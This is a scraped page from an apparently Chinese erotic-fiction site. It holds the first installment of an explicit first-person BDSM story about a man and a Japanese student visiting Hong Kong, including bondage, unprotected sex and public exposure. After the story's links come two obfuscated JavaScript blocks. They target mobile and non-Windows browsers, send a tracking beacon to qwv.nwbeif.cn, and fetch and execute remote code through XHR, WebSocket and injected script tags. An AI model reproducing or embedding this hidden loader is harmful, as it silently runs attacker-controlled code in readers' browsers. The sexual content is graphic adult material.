图片载入中

SM超友谊接触(上)

特大字】 【大字】 【中字】 【小字

Part One

八月廿一号的晚上九时许,在放工之后我赶到赤腊角机场,到达守候区域时我要等待的航班刚好依时抵达。

真幸运,居然不用等太久。

我今晚到机场是为了迎接一位从美国到香港的朋友,她的名字叫Suki。

从一年多前开始,我跟她在网络上结识及倾谈,并逐渐成为投契的朋友。由于我们认识是在国外的老外网站,所以当她提及自己是亚洲人仕时,我还以为她来自中港台地区。直至后来她告诉我真名拼音后,才晓得她原来是位留学美国的日藉大学生。

Suki跟我一样,对于一般人所说的虐恋,即是所谓的性虐待游戏非常感兴趣。或者因为她在比较开放的日本成长,亦受到本国的性文化影响,对这方面思想亦比较开放。与她交谈时大家都是畅所欲言的,不像是跟其他中国女性般总有一种避忌。

两个月前,她终于电邮了一幅“玉照”给我,通知我在暑假时会来香港玩几日。由于她在香港没有朋友,很自然就找上了我,同时亦想跟我来一场真实的游戏。

说来惭愧,性虐的文章就写得多,但真正实践却从来没试过。其实大家只要想想就可以明白,在现实生活上要找一位性趣相投的伴侣并不容易。设身处地,当你面对一位心仪的异性时,你可以对他/她说:“让我抽你几鞭好吗?你会发现很过瘾的。”

后果恐怕不用我多讲了。

所以我对于今次与Suki的会面,私心之下其实是很期待的。

Suki的情况则与我不同,她是年轻时尚的女性,虽有过一定的性经验,但仍然渴望窥探性虐待这个非一般的异世界。简单一点讲,她其实是抱着好奇和贪玩的心态跟我接触。

九时半,从禁区不断有旅客步出来。等没多久,Suki也终于出现。

讲真,她的真人不及相片上漂亮,但亦生得不算丑就是了。她是位短发的女孩,个子比较矮小,身型带点babyfat,视觉上还算是可爱,是属于日本女优笠木忍那一类型。

与她真实地接触时,感觉与网上交谈并不一样,开始时总觉得有点浑身不自然。但毕竟是认识了一年有多的老朋友了,当交谈多几句后,很自然就会流露出在网上对话时的语气,而气氛也因此而进入佳境。

可能因为Suki还是一名入世未深的女学生,她对第一次见面的我就显得非常信任,此事反而让我心里有愧。明知道会与她来一场跨国籍的超友谊交流,如果我说见到这位年轻的日本女孩而没有心邪,相信大家都会痛骂我扮清高,而我也有需要看看心理医生了。

正因为Suki对我的信任,她来港的所有行程基本上全都交给我来安排,而她的目标就是要便宜和好玩。

送Suki到市区后,我就带她到尖沙嘴的motel。由于时间已很晚,而且乘坐了一日飞机的Suki亦显得很疲倦,故此我留下了一个旧的手提电话给她使用,就不再骚扰她休息。

八月二十二日,星期五,早已请了假的我来到motel助Suki收拾行李,接着一起到附近的一所上海小食店吃早餐。Suki从没吃过上海食物,她只吃了一半粢饭就说怕吃得太多会肥胖,但转头却吃了两份的咸浆。

正如一般的女性,来到曾被称为购物天堂的香港,第一站就当然是购物。在旺角的雅兰酒店放下行李,我带着Suki从旺角一直杀入尖沙嘴,直至到达码头的海洋中心为止,边吃边买东西下竟然就花了八个多小时。Suki真不愧是青年人,当我疲倦欲死之时她仍然是生龙活虎,难怪有朋友笑说跟女友行街购物是男性最惨烈的重刑。

黄昏时间,我带着Suki来到北京楼尝尝北京菜式。由于这餐是由我作客为她洗尘的,所以不能太过寒酸。我点了好几道富特色的菜式,也让她吃得饱饱的。

在黑暗一面的我其实是想让她有足够体力来跟我玩游戏,而我开始觉得自己有点黑暗中人的味道。

辛苦了一整天,我们回到雅兰酒店的房间,正式进入成人的时间。

我与Suki一起进入酒店的浴室洗澡后,才发现原来Suki的身材比我想像中好看。虽然腰部有一点点胖,可是胸部乳房的形状仍然保持得良好,是东方女性最好看的竹荀型。年轻而没有生育过的身体亦很吸引,肌肉结实而充满了活力,加上日本女孩懂得保养,皮肤的幼嫩雪白可以媲美中国的北方姑娘。她的身体唯一缺点大概是阴毛浓密了点,看来有点不太雅观。

与Suki一起洗澡,显然我比她更为尴尬。跟一位相识一年的朋友玉帛相见,那种感觉就像是小时候跟妹妹洗澡一样,陌生与熟悉的矛盾感同时产生,亦因为这理由,在半路中途我竟然在她面前出现生理反应。

当时的我实在尴尬。

Suki倒是没有介意,还跳颇地握着我的小弟弟用心清洗。

她还跟我说,男人总是好色的,这小东西等会儿准会进入她身体,甚至会进入好几次,所以有必要好好清洗干净。

单是她这句话,我就几乎兴奋得射出来了。

洗澡完毕,我们就开始正式的游戏。

她来香港以前就跟我商量过关于是次性虐游戏的细节,她更列出一系列的清单要我为她准备。她的清单如下:

1 捆绑

2 剃毛

3 鞭打

4 滴蜡

5 灌肠

6 肛交 ★

就如各位所见,Suki打算在今趟旅程中尝遍虐恋里几个最出名的花式。

尤其是肛交,她更是千叮万嘱我要早作准备,原因是她以前从没试过,自觉后庭仍是处女是一件很丢面的事情。

我们首先尝试捆绑。

说起捆绑,Suki原来并不知道自己是否真对性虐待有兴趣,只是在日本读高中时曾经看过一些关于女性捆绑的影带,而当中那些女优在拍摄时夹在快乐和痛苦之间的独特表情,在她芳心里留下了非常深刻的印象,也因此激发起她对性虐待的好奇心,时间长了就逐渐沉迷下去。

由于我们两人也都是第一次实际进行捆绑,所以我选用了比较柔软的童军绵绳,以最简单的后手折叠绑开始。

绑起双手后,用绳子绕过她的胸前束缚着乳房,让她的乳房看来更圆更大,最后把绳子绕过她下体绑回到她的手部。

我坐到椅子之上,命令她在我的面前下跪,她眼中也跟着出现了一丝变化。

Suki原本是位活泼而又带点顽皮的女孩子,可是当她跪在我面前时,我发现她的眼神变得很柔顺,很有女人味。

这位雪般白的少女全裸被绑着,螓首轻垂的等待着我这主人的命令。这幅平素只在书刊或影带中见到的画面,现在竟然活生生地在我面前出现,而且能够任意摆布这位少女奴隶的主人并不是男优,而是我自己,我此刻的心情无论如何也无法用文字表达出来。

为了这一次重要的游戏,我也下了颇重本钱。亲手为她套上了新买来的一个红色首轮,她的表情和态度变化更大。Suki又乖又听话地跪在我的面前,我留意到她的跪姿很正统,是正宗的日本人跪姿,大腿合拢脚掌向上,头轻轻垂下但腰背却很挺直。

到目前为止一切都很顺利,Suki的反应比我想像之中更理想,但由于Suki自己也不晓得自己是B/D系还是D/s系,所以我还有一些重要的工作需要做。

我开始对Suki进行调教,首先是尝试命令她称唿我为主人,并且要恭敬地向我叩头,直至我叫停为止。

Suki服从地照我的说话去办,乖乖地跪在我跟前开始叩头,并每叩一次头也向我问安。由于酒店房间是有地毯的,所以我也不担心Suki会受伤。当她向我叩拜了十多次后,我命令她停下来,同时要她把额头贴在地毯上。我小心地把她的头踩在脚下,从粗糙的脚底享受女孩子柔软的发质,亦让她从男人的脚下感受下贱和低人一等的屈辱感。

我问Suki被主人践踏的感觉,更提醒她必须要老实和详尽地回答主人的问题。她有点辛苦地回答我说感觉很古怪,是从来没有的感觉,但又感到很刺激和有趣。

我放开了踩在她头顶的臭脚,改用脚尖挑起她的下巴,悠然地欣赏这位日藉大学生的表情。Suki就似是一朵正在盈开的鲜花般,从被虐之中唤起了女性的本能,动情的面貌变得满有魅力。

她看我的眼神就跟某几名日本女优在性虐待过后出现的神情一样,是充满了挑逗,期待和仰慕的,真正的奴隶眼神。

我本身属于D/s系的,亦即是精神羞辱系。虽然我不知道Suki对B/D系是否感兴趣,但最少她跟我一样对D/s系有一定兴趣及潜质,难怪她过往跟我这么谈得来了。

这一点对我来说简直如获至宝,因为热爱精神羞辱的女性奴隶比较少,反而男性奴隶就较多,所以此刻我就像他乡遇故知一样兴奋。

压下心中的狂喜,我命令Suki趴在我的大腿上,以打屁股来测验她的性向。

Part Two

双手被反绑的Suki配合着我,把娇软的身躯柔顺地伏在我的大腿之上。当我看到她洁白圆浑的屁股时,我还是先放下了应做的试探工作,轻抚这两团可爱的肉团。

Suki的屁股并不算大,但胜在高隆结实。望着玩着这个可爱的小屁股,我又有点不忍心打下去。在我大腿上的Suki当然不会了解我现在矛盾的想法,可是在我观察下她的手指却紧握成拳,显示出她紧张的心情。

不打不打还需打,我在Suki的屁股上拍打下去,发出清晰的响声点缀着这个房间,她白白的屁股上亦出现一个赤红显眼的掌印。我虽然控制了力度,但Suki却叫得颇大声,而且压在我腿部的小腹亦有唿吸急速的反应。

我开始加大了力度,才拍了十来下,她两边的屁股蛋已经红透。我把手伸到Suki的私处,发现两片肉唇之间有点微湿,亦使我晓得她的身体在B/D方面亦能生出反应。

把她从大腿上放下来,她不用我教导却竟懂得向我叩头多谢,这点倒使我颇为惊喜。曾经对SM有深入研究的她,表现果然没有令我失望。

我坐在舒适的椅子上,打算加强对她的羞辱,正想用脚趾夹弄她胸肉上突出粉红的乳尖时,岂知脚趾刚刚接触她乳头的一刻,Suki的双眼突然出现变化,身体猛烈地打了一个震颤,她立即合上眼咬着下唇,仰起了头长长唿出一口气,似乎是到达了一个小高潮。

Suki实在是名很有潜质的M女,只是用脚尖挑逗她的乳头竟可以让她得到高潮,我现在可以断定她是越被羞辱就越会快感的女性。

我让她稍为休息数分钟,同时也欣赏女性春潮过后的诱人姿态。当她回气过后,我又再用脚来踩踏她的乳房,然后把脚背伸进她两腿间磨擦她的阴户,更嘲笑她刚才被我玩弄得高潮的淫荡反应。Suki被我嘲笑后,那张可爱的脸蛋竟染红得犹如苹果一样,而我更发现了她跪着的地毯竟然出现一个细小的水渍。

脱下了我身上唯一的内裤,我也跟Suki看齐,再次赤裸地相对。

不用我吩咐,Suki跪着移近我,用口把我的弟弟吞进她的小嘴之内。Suki看来比我还要急不及待,而且她的口交技术亦相当纯熟,从口腔到喉咙也套着吸吮我的阳具,温暖湿润的快感由下体流过全身。

享受她的口交好一会儿,我在发射之前命令她放开口站起身,押着她行过去茶几那儿。不知为何,我今晚的心情也颇为紧张,才会不想在她的口里浪费宝贵的弹药。

我抱起Suki让她全身躺直放到茶几之上,用绳子把她双脚对折,变成一个倒T字大腿分开的羞人姿态。我一手轻轻撩弄她的秘道入口,同时在她耳边俏俏问她介不介意用我的内裤堵嘴。她不敢正眼看我,身体扭了一扭才微微点头表示可以。

女性天生洁癖,对于轻微受虐倾向或像Suki这类初试SM的女性,她们对染有男性汗臭的内裤和袜子都会很反感。我故意用自己的内裤来塞进她的口腔,一半理由是满足自己大男人的心态,享受全完拥有一位青春少艾的独特感觉,另一理由则是要测试Suki对SM可能接受的程度。

我把内裤塞进Suki的小嘴内,再用一条较短的绳子绑在她的后颈,使她无法把堵口物吐出来。她一双幼眉轻皱起来,似乎对我的汗臭味产生抗拒。但我不让她有时间思想,就要开始Suki交托给我的第二件工作。

我从背囊中取出了惯用的剃须膏与剃刀,在洗水间中倒了一杯清水出来。望见这些东西,Suki知道我将会如何对待她了。

剃毛。

剃毛在虐恋之中只是微不足道的游戏,然而这微不足道的游戏却也是不少轻尝浅试的爱侣们热爱的情趣之一。尤其是男性细心为爱奴剃去耻毛时,在剃去耻毛后女性最私稳的全貌暴露在倾慕的主人面前,那份包含关怀和害羞的感觉非常独特,没试过的讲也不会明白。

从Suki打横张开的大腿尽头,我先用剪刀修短了她浓密的阴毛,然后抹上了一层清水再涂上剃须膏。受到我手指的刺激,Suki平躺的一双乳房急速地起伏,两颗乳头亦再次充血高起,单是在她身前欣赏这淫亵的一幕,这份视觉享受已经叫我兴奋莫名。尤其是她那对勃起饱满的粉红色乳头,真是越看就越觉可爱,越看越觉得吸引,等会儿不多玩它们几次实在是暴殄天物。

花费了数分钟完成了工作,我用毛巾轻轻抹拭Suki阴户上的污秽物,原本茂盛的草丛就变成了平坦但风景明媚的平原。Suki毕竟是年青的少女,光秃的女阴才比较适她。

现在她的样貌和胴体看来更加年轻,就像是个未成年的清纯中学生一样。

从洁净无毛的少女阴户上,两片阴唇已经因羞耻而充血膨胀,在暗红色的小阴唇中更出现反光的黏液慢慢渗出来。阴唇上端的小小阴核亦已经勃起,从包皮之中探出头来。

完全出于男性的本能反应,我把面贴近这具被约束着的全裸女体,小心打开了Suki的肉门,一窥这位老朋友的体内干坤。

已经接受了我的气味,Suki隔着堵嘴的内裤发出畅快的“唔、唔”声。矮小但结实的身躯在茶几上不断扭动,从洞穴内更不断分泌出爱液。我没法理会她的反应,只能专心地钻研女性身体最深入的奥秘。

观看了Suki的腔道足足十多分钟,我才把她抱到床上,并开始在她身上享受手足之欲。可能因为她是我相识了长时间的朋友,爱抚她时的感觉与一夜情相差甚远。我把她由头顶摸到落脚尾趾,再由脚尾趾摸回到她的头顶,但对我来说都好像还未足够似的。

顽心大起,我出奇不意地在她的阴户上狠狠拍打了一下,但万万没想到Suki会生出一个超过我想像的激烈反应。她发声喊,背部突然弓起来,头往后仰,小腹和两腿的肌肉猛烈收缩,一泡液体从她的阴道里溅出,沾到我的手掌之上,我也不由得呆了一呆。

在Suki还未来港前,她曾与我认真地讨论过今趟让人期待的会面,同时她更把过往跟男友做爱的情况粗略地告诉我。在她告诉我的资料中,她应该是位慢热的女性。可是从她刚才的表现看来,情况并非我所预算的,今晚还没进入正戏,她竟然轻易地高潮了两次。

Suki的身体其实远比我,甚至她自己所知道的敏感得多,只是过往没有被人适当地开发而已。

望着Suki已经垂涎的小穴,我也忍不住自己的欲火,但我还不忘先戏弄她一下。我事先张扬地向她说明了要插入她的身体,同时也欣赏她含羞待宰的有趣表情。所谓“十八无丑妇”,何况Suki的样子本来亦生得颇甜美的,配上含羞答答的表情就更加觉得她可爱。

当我从衣物里拿出一个避孕袋后,Suki突然向我发出声音,还不断摇头示意不好。我不禁被她吓了一跳,是真的吓了一大跳,她不是想我在她体内射精吧?

作为性虐游戏的拍档,我当然相信Suki没有什么暗病,但万一她怀孕了又如何?我可不想因为一次娱乐而做爸爸。

Suki没法开口说话,但她的眼神却很诚恳和温柔。面对这种风险,我当然犹豫了好一会儿。在性虐之中,S跟M本来就必须互相信任,我微微叹气后终于下定决心相信Suki,把那个未开封的避孕袋抛诸脑后。

对我们来说,这个期待已久的时刻终于来临。当我兵临城下的刹那,我不自觉地凝视着Suki的俏脸,而她合成细丝的目光亦扫在我面上,与我作出了眼神交流。我们大家都很清楚,只要我轻轻的向前一推,就代表我们一年来的朋友关系完全蜕变,我们将会结下两性之间最亲蜜的肉体关系。

这种临界的期待感,可能比起正式的性交更加美妙。

我把龟头对着她的阴唇之间轻轻前推,在潮湿的腔道里一推而入。当我感到紧窄的压力和温暖的体热时,我知道我终于占有了这位日本女孩子。

Suki的双手双脚被我紧紧绑起,连小嘴也被我的内裤堵着,纵是想呻吟亦没法办到。可是在这种失去自由的情况底下,她的快感却来得很强烈,这一点从我们交合的地方就能清楚感受得到。

青春少女的身体实在很棒,而且不用避孕袋下快感更为加倍,下下撞上子宫的实感简直无语伦比。随着我的抽插,Suki的阴道亦强力地夹紧了我的阳具,还努力扭动腰部来迎合着我。

我注意着Suki的反应,调教适当的速度,只是片刻她又再引发一次高潮。

在她享受高潮时,我也停下了动作,抱着她的胴体让她感到充实和安慰,直至她回复平静时,我才继续为国争光。

连我也忘记操伐了Suki多少次,当我感到下体急速充血到将要爆发时,我很自然就抓上了她胸前两团圆鼓鼓的肉丸,尽情把精液射进这位日籍少女的身体深处。

痛快!

我很久没有玩得如此痛快了!

当我们都发泄过,我才解开Suki身上的束缚,还为她轻轻按摩手腕被绑过的部位。Suki倚在我的臂弯之内,含情默默地仰望着我,我俩彷佛是一对真正的恋人般,这段时间真叫人神往。

第一晚的游戏正式结束,当我除下Suki颈上的首轮,示意解除她奴隶的身份后,她立即在我的大腿上狠捏一记,更笑骂我竟然忍心让一位女性去含男人脏兮兮的内裤。我也笑话她似乎很享受含内裤和被男人践踏,至少她刚才的反应就是如此。

Suki笑而不语,只是轻轻地搥打我一下,算是默认了我的说话。

最后我忍不住问了最想问的问题,就是她为何要我在她的体内直接发射,而她竟然无可无不可地说生个小宝宝出来也不错。

当我大吃一惊的时候,Suki却掩嘴娇笑起来。

原来她这几日正处于安全期,所以才提议不用避孕袋,免至影响了大家的兴致。而且她认为在进行SM的过程中,身为一名奴隶就必须全心全意向她的主人奉献一切,用身体为主人提供最大的乐趣。

突然之间,我发觉自己刚才很幸福。

我们互相抱着对方,躺在床上倾谈了好一会,直至她想要睡觉,我才为她盖上被子悄悄离开房间。

(待续)

Part Three

八月二十三日清晨七时许,在家里睡了六个小时就得爬起身来。昨夜跟Suki来了一场激烈的SM游戏,到现在我还很疲倦,仍有昏昏欲睡之感。

八时半,当我来到酒店大堂后,打了数次电话上Suki的房间但始终没有人接听,看来她应该还未起床。虽然在SM的游戏里她是我的奴隶,可是在大堂呆等的我却觉得,现在此刻的我像是她的奴隶多一点。

早上九时半,这个害我白坐一小时的混蛋才摇着一条小裙子到来。

今日Suki穿了一件很性感的白色花边吊带上衣,衬一条露出雪白大腿的鲜蓝色圆筒小裙,加上她面上灿烂而甜美的笑容,看得原是一肚子气的我立即火气全消。

Suki伸一伸小舌头,轻敲自己的头顶,才亲热地给我一个早晨之吻作赔罪。

此情此景,任何男仕也会心软。所谓“君子报仇,十年未晚”,这笔帐就留到今晚才慢慢跟她算清楚吧,哈哈!

依照我们的行程,今日我会带Suki到大屿山参拜天坛大佛。

我本身是个无神论者,但在日本长大的Suki却受家庭感染,是个信奉佛教的传统日本人。乘坐机场快线,很快就到达了北大屿山,可是沿途我都唿唿大睡,反而Suki就成只母马骝一样,边看地图边看风景。

由于今天是星期六,一般上班族在上午还要工作,此时在大屿山拜神的善信不多,而且大多是上了年纪的公公婆婆。

在大佛的山脚底下,我们向着轰立在山顶的大佛拾级而上。这次我可没有失威,由山脚到山顶我连气都无喘,可是Suki到山腰时就得要停下来休息,最后还要我拖着她的小手慢慢行上去。这也难怪,她终于是女孩子嘛!

一直都忘记告诉她,我小时候曾习过武的。

参拜之后是拍照留念,最后Suki就很兴奋地跑去购买佛珠。她似乎很喜欢这类玩意,她说这些佛珠手炼既可当作平安符,又可当作装饰物,加上价钱便宜,用来当手信简直一流。

购买完毕,Suki突然把我拉到一所祀庙背后的僻静之处,更在我耳边说悄悄话。

待我听清楚她的说话后,我不能置信地瞪大眼睛望着她,更清楚听到自己的小心肝砰砰猛跳。

Suki居然问我,我有没有兴趣对她作户外调教。

何只有兴趣,简直求之不得。

在户外调教一名年轻可爱的女奴,可以说是任何男性都会有过的幻想,但另一方面却让我了解到两件事情。

第一件事,这里终于是佛寺,如果在这里搞得太过份而被人发现,我铁定会在明日报章的头版见报,更可能成为香港开埠以来,第一个在佛寺打野战而被捕的淫虫。

第二件事,我昨晚感到很满意的调教,但对Suki来说可能还未满足,故此她才会暗示要求更强烈的调教方式。

思考了一会儿,我终于同意了Suki的建议,毕竟野外调教的魅力实在太大。

Suki在小包中拿了一条精美的红色小项炼充当奴隶首轮,这傻瓜竟对我说,奴隶始终是要戴着这个才有feeling。

我望了望Suki所穿的性感吊带衫和短裙,灵机一触,向她下了第一个命令。

我命令她到洗手间内把内衣裤全部脱下来,外衣里边要保持真空状态。

Suki的脸蛋立时胀红,低声应诺后就进入女子洗手间。

当她从洗手间内出来时,我的视线立时被她吸引着。白色的单薄衣衫内,隐隐约约现出两颗粉红色的突起物,在阳光之下任谁都可以察觉到这名女孩乳头的颜色和形状。

Suki把除下来的胸罩和内裤双手奉上给我。从她手里接过那些仍是温暖的内衣裤,经我检查后发现她的内裤竟然有水迹,我当然不会放过这个好机会嘲笑了她一番。

我命令Suki分开双脚拉起裙子,露出了她下体已经光秃秃的阴户。

我用她的内裤往她的下阴抹拭,她的内裤亦沾有更多淫液。看了四周无人,随手抛弃了Suki的内裤和胸罩,还打趣地对她说,看谁会这么好运拾到这条沾有她爱液的小裤裤。

日本女性虽然比中国女性开放,但她们却有一处很特别的地方,就是很怕自己的内衣裤落在陌生人手上。此时Suki的表情显得有点不自然,她望了地上的胸罩内裤一眼,才跟在我身后离开。

不知何来的胆子,我带着Suki躲到其他僻静的地方,让她拉高衣衫和裙子,用她的数码相机拍下了一些野外露出的精采写真。此时我才明白,原来只要选择适当的地方并且让Suki背对人群,拍这些露体照片其实并非想像之中危险。

随意拍摄了七至八幅之后,我也感到有点饿了。

离开了佛寺,我跟Suki一起坐车到大澳吃午饭。在通往大澳的巴士上人并不多,但当中仍有不少男子及老公公乘坐。我强迫Suki坐在车位的外边,好让更多人可以看到她。

沿途当然有不少男士对Suki的胸部行注目礼,她羞得无法抬头,更主动用力缠着我的臂弯和握实我的手,可是我从白色的衫上却见到她两颗乳头已经发硬和勃起,而且还撑起了衣服形成非常显眼的两粒凸点。

Suki对暴露的反应良好,发现了这点,在接下来两日的调教中将会很有用。

我扮作是Suki的情侣,把手绕过她的腰后搂着她,还用手抚摸着她外露的大腿。

我附在她耳边问她,是否还记得今早要我这位主人白等一小时的事情,她眼里流过了复杂到难以易容的神色,就在她分心之下,我轻轻拉高她的短裙少许,吓得她立时伸手扯着裙子。

其实我只是跟她开个玩笑,但她带点泪水的向我投以哀求的眼光,她这个可怜的表情反而让我心中大乐。要她在这么多人的注视下公开露体,我相信她应该还未可以办到,所以我轻轻吻了一下Suki的小唇就暂时放过她,等到午饭过后才继续玩弄她好了。

到达大澳,我和Suki进入一所酒家吃地道的海鲜。美食当前,Suki的羞耻心也飞到九宵之外大吃特吃一顿。

有过昨夜的经验,我知她喜爱被男性作贱的特殊性癖。

在差不多吃完时,我命令Suki分开两腿。从桌子底下我用鞋尖往她的阴户上轻轻磨擦逗弄,她全身震动了一下,脸上亦浮起嫣红。

我知道Suki的身体很敏感,加上在佛寺开始调教她后,她的身体就一直积存着欲火。当人类吃饱以后性欲自然变得旺盛,我挑选这个时间,在这种开放的环境底下,用她感兴趣的耻戏来玩弄她,她一定很快就能达至高潮。

在有节奏的挑逗下Suki不禁垂低头咬紧牙关,眼尾偷偷察看四周有没有人发现她的窘态。然而,从她那M女独有的眼神就让我知道,她的身心都正在享受这种凌辱。

我小心地观察着,果然不用两分钟,Suki突然用力地握实拳头,唿吸亦越来越急速。经验告诉我,她已经到达发泄的边缘,可是我也在此时故意放开了脚。

Suki一脸茫然地望着我,她春水激荡的眼眸似是在问我为何不让她泄出来。

我只是笑着压低声音对她说了一句:“还早得很呢!”下午三时半,我和Suki回到了旺角的酒店。

在回程的途中我都只是隔靴搔痒地逗着Suki玩,让她保持在兴奋的状态里,而她激突的乳尖和两腿之间不断渗出的水光更让她既兴奋又尴尬。她处于爆发边缘已经有两个小时之久,相信现在的她已经极度需要。

D∕s系的其中一个调教重点在于高潮控制,此时此刻为了泄身而什么都会服从的Suki,就正是我期待的调教成果。

(待续)


上一篇:最后的惩罚

下一篇:SM超友谊接触(中)


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};